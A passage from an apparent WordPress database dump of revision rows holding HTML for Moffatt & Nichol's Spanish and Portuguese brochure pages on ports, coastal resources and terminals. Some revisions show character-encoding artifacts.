class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol es líder mundial con oficinas centrales en Estados Unidos, especializados en asesorías de diseño y planeación de estructuras que dan forma y estilo a zonas costeras, puertos y ríos.\r\n<br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/capabilities-expertise-overview-Spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_cap/OVERVIEW2QUALS2SPANISH222Reduced.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS,<br />\r\n        MEDIOAMBIENTALES E HÍDRICOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        La reputación de Moffatt & Nichol por la excelencia en el ambiente costero se ha desarrollado a lo largo de muchos años de experiencia con proyectos desafiantes.<br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/capabilities-expertise-coastal-Spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_cap/COASTAL2QUALS_SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n</div>\r\n</div>\r\n&nbsp;\r\n\r\n&nbsp; &nbsp;\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Capacidades y experiencia profesional-Español','','inherit','open','open','','2007-autosave','','','2012-06-15 10:53:04','2012-06-15 10:53:04','',2007,'http://moffattnichol.com/spanish/2007-autosave/',0,'revision','',0),(2534,1,'2012-02-09 16:41:23','2012-02-09 11:11:23','<div class=\"content_faq\">\n<div class=\"for-emetybox\">\n  <div class=\"brochure-wrapper-new\">\n    <h3>capacidades y experiencia profesional-espaÃ±ol</h3>\n    <br />\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÃ“N GENERAL</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Moffatt & Nichol es lÃder mundial con oficinas centrales en Estados Unidos, especializados en asesorÃas de diseÃ±o y planeaciÃ³n de estructuras que dan forma y estilo a zonas costeras, puertos y rÃos.\n<br />\n        <br />\n        <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/capabilities-expertise-overview-Spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_cap/OVERVIEW2QUALS2SPANISH222Reduced.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS,<br />\n        MEDIOAMBIENTALES E HÃDRICOS</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        La reputaciÃ³n de Moffatt & Nichol por la excelencia en el ambiente costero se ha desarrollado a lo largo de muchos aÃ±os de experiencia con proyectos desafiantes.<br />\n        <br />\n        <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/capabilities-expertise-coastal-Spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_cap/COASTAL2QUALS_SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n</div>\n</div>\n&nbsp;\n\n&nbsp; &nbsp;\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Capacidades y experiencia profesional-EspaÃ±ol','','inherit','open','open','','2007-revision','','','2012-02-09 16:41:23','2012-02-09 11:11:23','',2007,'http://moffattnichol.com/spanish/2007-revision/',0,'revision','',0),(2535,1,'2012-06-15 11:04:50','2012-06-15 11:04:50','<div class=\"content_faq\">\r\n<div class=\"for-emetybox\">\r\n<div class=\"brochure-wrapper-new\">\r\n<h3>capacidades y experiencia profesional-portugués</h3><br />\r\n<div class=\"brochure-one-leftpart\">\r\n<div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n<div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\nA Moffatt & Nichol é sediada nos EUA e é líder global em consultoria de infraestrutura sendo especializada no planejamento e design de instalações que moldam nossas costas,<br /><br /><br />\r\n<div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/capabilities-expertise-overview-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_cap/OVERVIEW2QUALS22010_rev20321102portuguese.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n</div>\r\n<span class=\"moreheadlines-newone fr\"></span></div>         \r\n</div>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Capacidades y experiencia profesional-Portugués','','inherit','open','open','','2011-autosave','','','2012-06-15 11:04:50','2012-06-15 11:04:50','',2011,'http://moffattnichol.com/spanish/2011-autosave/',0,'revision','',0),(2536,1,'2012-02-09 16:50:10','2012-02-09 11:20:10','<div class=\"content_faq\">\n<div class=\"for-emetybox\">\n<div class=\"brochure-wrapper-new\">\n<h3>capacidades y experiencia profesional-portuguÃ©s</h3><br />\n<div class=\"brochure-one-leftpart\">\n<div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\n<div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÃ“N GENERAL</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\nA Moffatt & Nichol Ã© sediada nos EUA e Ã© lÃder global em consultoria de infraestrutura sendo especializada no planejamento e design de instalaÃ§Ãµes que moldam nossas costas,<br /><br /><br />\n<div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/capabilities-expertise-overview-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_cap/OVERVIEW2QUALS22010_rev20321102portuguese.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n</div>\n<span class=\"moreheadlines-newone fr\"></span></div>         \n</div>\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n</div>\n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Capacidades y experiencia profesional-PortuguÃ©s','','inherit','open','open','','2011-revision','','','2012-02-09 16:50:10','2012-02-09 11:20:10','',2011,'http://moffattnichol.com/spanish/2011-revision/',0,'revision','',0),(2537,1,'2012-06-15 10:56:38','2012-06-15 10:56:38','<div class=\"content_faq\">\r\n<div class=\"for-emetybox\">\r\n<div class=\"brochure-wrapper-new\">\r\nh3>capacidades y experiencia profesional-portugués</h3><br />\r\n<div class=\"brochure-one-leftpart\">\r\n<div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n<div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\nA Moffatt & Nichol é sediada nos EUA e é líder global em consultoria de infraestrutura sendo especializada no planejamento e design de instalações que moldam nossas costas,<br /><br /><br />\r\n<div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/capabilities-expertise-overview-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_cap/OVERVIEW2QUALS22010_rev20321102portuguese.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n</div>\r\n<span class=\"moreheadlines-newone fr\"></span></div>         \r\n</div>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Capacidades y experiencia profesional-Portugués','','inherit','open','open','','2011-revision-2','','','2012-06-15 10:56:38','2012-06-15 10:56:38','',2011,'http://moffattnichol.com/spanish/2011-revision-2/',0,'revision','',0),(2538,1,'2012-06-15 11:16:12','2012-06-15 11:16:12','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n  <h3>folletos-europa/medio oriente</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol es un destacado consultor de infraestructura a nivel global con base en Estados Unidos, que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-of-services/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1US.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/Air-quality.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Calidad del aire</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Proteger la calidad del aire es uno de los problemas más desafiantes que enfrenta la industria de transporte marítimo hoy en día. Los puertos de todo el mundo deben reducir significativamente las emisiones de las naves de carga<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/air-quality-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/AIR3QUALITY3FOR3PORTAL3UK.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol, una de las principales firmas de planeamiento e ingeniería marítimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        El prestigio de Moffatt & Nichol de excelencia en ambientes de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos. Hoy, la firma ofrece a sus clientes un personal profesional y experto de ingenieros, planificadores, y científicos<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n   <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Terminales de cruceros y de transbordadores</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n         Como una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol tiene <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/cruise-and-ferry-terminals-brochure/\" title=\"Ver\" >Ver</a> | <a href=\" http://moffattnichol.com/admin/upload_bro/CRUISE3FERRY3FOR3PORTAL3UK.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Como una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n   <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-5.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">AUTOMATIZACIÓN PORTUARIA</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Con décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas de todo el mundo, Moffatt & Nichol es reconocido como un líder e innovador en el planeamiento y diseño de puertos, terminales marítimas,<br />\r\n        <br />\r\n        <br />\r\n        &nbsp;\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Como una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. La firma tiene una reputación internacional por proporcionar soluciones innovadoras a la industria portuaria y marítima.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-and-harbors-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n   <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/waterfront-managment.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de frentes costeros y puertos deportivos</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Los frentes costeros de hoy son catalizadores de la actividad económica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableció en la década de 1960, a medida que la navegación de recreo aumentaba en popularidad.<br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/waterfront-development-and-marinas-brochure/\" title=\"Ver\" >Ver</a> | <a href=\" http://moffattnichol.com/admin/upload_bro/WATERFRONT3FOR3PORTAL3UK.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/transportation.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Transporte</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        La experiencia profesional en el transporte de Moffatt & Nichol une la experiencia profesional de ingeniería civil y estructural de la firma con nuestra comprensión única del movimiento de carga de contenedores y del transporte marítimo. Ofreciendo una gama completa de servicios integrados, <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/transportation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/TRANSPORTATION1FOR1PORTAL1UK.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Folletos-Europa/Medio Oriente','','inherit','open','open','','1991-autosave','','','2012-06-15 11:16:12','2012-06-15 11:16:12','',1991,'http://moffattnichol.com/spanish/1991-autosave/',0,'revision','',0),(2539,1,'2012-02-09 13:46:04','2012-02-09 08:16:04','<div class=\"content_faq\">\n  <div class=\"brochure-wrapper-new\">\n    <h3>folletos-europa/medio oriente</h3>\n    <br />\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÃ“N GENERAL</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Moffatt & Nichol es un destacado consultor de infraestructura a nivel global con base en Estados Unidos, que se especializa en el planeamiento y diseÃ±o de las instalaciones que dan forma a nuestras lÃneas costeras, puertos y rÃos, asÃ como un innovador <br />\n        <br />\n        <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-of-services/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1US.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/Air-quality.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Calidad del aire</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Proteger la calidad del aire es uno de los problemas mÃ¡s desafiantes que enfrenta la industria de transporte marÃtimo hoy en dÃa. Los puertos de todo el mundo deben reducir significativamente las emisiones de las naves de carga<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/air-quality-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/AIR3QUALITY3FOR3PORTAL3UK.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÃ“N DE GRANELES</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Moffatt & Nichol, una de las principales firmas de planeamiento e ingenierÃa marÃtimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseÃ±o para terminales e instalaciones de manipulaciÃ³n de materiales a granel.<br />\n        <br />\n        <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        El prestigio de Moffatt & Nichol de excelencia en ambientes de frentes costeros fue desarrollado a lo largo de aÃ±os de experiencia con estimulantes proyectos. Hoy, la firma ofrece a sus clientes un personal profesional y experto de ingenieros, planificadores, y cientÃficos<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n   <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Terminales de cruceros y de transbordadores</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n         Como una de las mayores firmas internacionales de ingenierÃa y consultorÃa marÃtimas en el mundo, el equipo de expertos de Moffatt & Nichol tiene <br />\n        <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/cruise-and-ferry-terminals-brochure/\" title=\"Ver\" >Ver</a> | <a href=\" http://moffattnichol.com/admin/upload_bro/CRUISE3FERRY3FOR3PORTAL3UK.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Como una de las mayores firmas internacionales de ingenierÃa y consultorÃa marÃtimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n   <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-5.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">AUTOMATIZACIÃ“N PORTUARIA</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Con dÃ©cadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marÃtimas de todo el mundo, Moffatt & Nichol es reconocido como un lÃder e innovador en el planeamiento y diseÃ±o de puertos, terminales marÃtimas,<br />\n        <br />\n        <br />\n        &nbsp;\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n internacional por proporcionar soluciones innovadoras a la industria portuaria y marÃtima.<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-and-harbors-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n   <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/waterfront-managment.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de frentes costeros y puertos deportivos</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Los frentes costeros de hoy son catalizadores de la actividad econÃ³mica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableciÃ³ en la dÃ©cada de 1960, a medida que la navegaciÃ³n 